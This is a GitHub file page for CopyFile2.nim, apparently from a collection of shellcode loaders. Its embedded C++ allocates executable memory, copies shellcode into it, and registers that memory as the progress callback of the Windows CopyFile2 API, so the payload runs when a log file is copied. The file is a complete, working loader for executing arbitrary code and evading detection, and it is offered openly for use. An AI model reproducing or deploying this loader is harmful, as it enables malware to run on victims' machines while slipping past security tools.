-
Notifications
You must be signed in to change notification settings - Fork 115
/
CopyFile2.nim
27 lines (20 loc) · 904 Bytes
/
CopyFile2.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{.passC:"-D_WIN32_WINNT=0x601"} #https://github.com/msys2/MINGW-packages/pull/2553/commits/06dc93709704d5134d39141d678fc58508d558fe
import public
{.emit: """
#include <winbase.h>
int Copy2(char *shellcode,SIZE_T shellcodeSize) {
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, shellcodeSize);
COPYFILE2_EXTENDED_PARAMETERS params;
params.dwSize = { sizeof(params) };
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)addr;
params.pvCallbackContext = nullptr;
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", ¶ms);
}
"""
.}
proc Copy2(plainBuffer:cstring,size:cint):cint {.importcpp:"Copy2(@)",nodecl.}
discard Copy2(code,codelen)